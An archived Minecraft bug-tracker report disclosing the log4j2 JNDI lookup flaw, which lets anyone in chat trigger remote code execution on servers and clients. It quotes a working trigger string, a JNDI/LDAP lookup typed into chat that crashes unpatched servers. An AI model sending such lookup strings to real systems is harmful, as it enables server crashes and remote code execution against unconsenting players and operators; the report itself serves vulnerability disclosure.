Mojira Archive
MC-245091

Massive Remote Code Execution vulnerability

Anyone connected to a server can execute code in its players machines, and even in the server itself!

To make this quick, the log4j2 library (which Minecraft uses) has a massive vulnerability in that it trusts LDAP servers outside of the local network - downloading Java classes and executing them. Source: https://github.com/apache/logging-log4j2/pull/608

The simplest test that can be done is crashing ANY unpatched Minecraft server by typing in the game chat the following text: ${jndi:ldap://1.1.1.1}, the game will try to load a class from 1.1.1.1 but as it's a DNS server (thus invalid for LDAP), it will just crash.

https://media.discordapp.net/attachments/754673481987129394/918673980519501844/unknown.png

Multiple modding frameworks released patches today, doing input validation before logging chat messages.

Duplicate

MC@h Matt

2021-12-10, 01:41 AM

2021-12-10, 03:29 AM

2021-12-10, 03:24 AM

0

1

Unconfirmed

(Unassigned)

1.18

-